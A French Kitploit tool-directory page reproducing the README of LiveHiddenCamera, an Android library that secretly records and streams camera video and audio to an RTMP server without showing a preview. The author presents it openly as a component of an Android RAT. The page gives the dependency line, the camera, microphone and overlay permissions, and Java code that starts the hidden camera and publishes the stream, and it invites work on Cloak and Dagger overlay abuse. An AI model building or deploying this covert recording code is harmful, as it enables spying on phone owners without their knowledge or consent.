Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
LiveHiddenCamera — Live Hidden Camera est une bibliothèque qui enregistre la vidéo et l'audio en direct depuis un appareil Android sans afficher d'aperçu. | Kitploit
Outils/GitHubGitHub/mirsamantajbakhsh/livehiddencamera
Sécurité AndroidAnalyse de MalwareSécurité MobileProtection de la Vie PrivéeOutil d'Accès à Distance
GitHubmirsamantajbakhsh/livehiddencamera

LiveHiddenCamera

Live Hidden Camera est une bibliothèque qui enregistre la vidéo et l'audio en direct depuis un appareil Android sans afficher d'aperçu.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web
8235il y a 7 ansVérifié par Kitploit

Live Hidden Camera

Live Hidden Camera (LHC) est une bibliothèque qui enregistre la vidéo et l'audio en direct depuis un appareil Android sans afficher d'aperçu. Live Hidden Camera

Motivation

Je travaille sur un malware Android basé sur une recherche et j'ai décidé de créer un RAT (outil d'administration à distance) multifonction. Je travaillais sur les flux en direct lorsque j'ai trouvé quelques projets open source basés sur RTMP, notamment :

  • https://github.com/begeekmyfriend/yasea
  • https://github.com/ant-media/LiveVideoBroadcaster
  • https://github.com/TakuSemba/RtmpPublisher
  • https://github.com/fyhertz/libstreaming

qui ont tous des problèmes en fonction des exigences d'un RAT. Mais le problème commun était qu'ils nécessitaient tous une activité pour inclure un SurfaceView.

Par conséquent, j'ai commencé à chercher. Finalement, j'ai pu créer Live Hidden Camera qui nécessite seulement un CONTEXT pour diffuser une vidéo en direct, en combinant ces deux projets :

  1. https://github.com/beekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

Comment utiliser

J'ai créé une bibliothèque pour la rendre plus utilisable. La seule exigence est d'ajouter la bibliothèque à votre projet et de lui transmettre l'URL RTMP.

De plus, vous devez vous assurer de :

  1. Votre application doit avoir les permissions suivantes dans Manifest.xml :
root@kitploit:~
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. Vous devez gérer l'octroi des permissions déclarées à votre application.

Ajout de la bibliothèque

L'utilisation de la bibliothèque est simple. Ajoutez simplement la bibliothèque suivante au fichier gradle.build de votre projet.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Mise à jour : Dans la version précédente, l'activité principale avec le filtre de lancement se trouvait dans la bibliothèque, ce qui faisait que l'application (qui utilise la bibliothèque) avait deux icônes. Dans cette version, le filtre est commenté dans Manifest.

Création d'un serveur RTMP

Avant d'utiliser la bibliothèque, vous devez avoir déployé un serveur RTMP. J'ai utilisé Ant Media Server. Un excellent guide sur l'installation d'Ant Media Server se trouve À CE LIEN.

Après avoir démarré le serveur Ant Media RTMP, vous devriez voir quelque chose comme ceci : Ant Media Server

Exemple de code

Après avoir ajouté la bibliothèque à votre projet, procédez comme suit :

  1. Créez une classe qui implémente : RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Créez deux champs (un pour la publication et un pour l'aperçu) :

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implémentez une fonction pour démarrer la caméra cachée en direct :

root@kitploit:~
    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problèmes

Écran vert

Le principal problème auquel je suis confronté actuellement est l'écran vert. J'ai décrit l'erreur sur StackOverflow à l'adresse https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

Si vous avez des suggestions concernant ce problème, ou toute autre idée, n'hésitez pas à me contacter.

Vue constante

En raison de la superposition de la caméra cachée en direct, aucune autre application ne peut être cliquée. Les clics ne sont acceptés que par le LHC. Voir la section TODO.

TODO

Il y a un projet appelé Cloak and Dagger qui a révélé une capacité très dangereuse dans Android. Toute contribution à l'utilisation de Cloak and Dagger dans LHC est la bienvenue.

Consultez Cloak and Dagger ici :

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

Faire un don

Vous pouvez faire un don à ce projet en utilisant mon adresse Bitcoin :

root@kitploit:~
BitCoin :

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

Contact

Vous pouvez me joindre via mon site Web : https://mstajbakhsh.ir/

Télécharger l’outil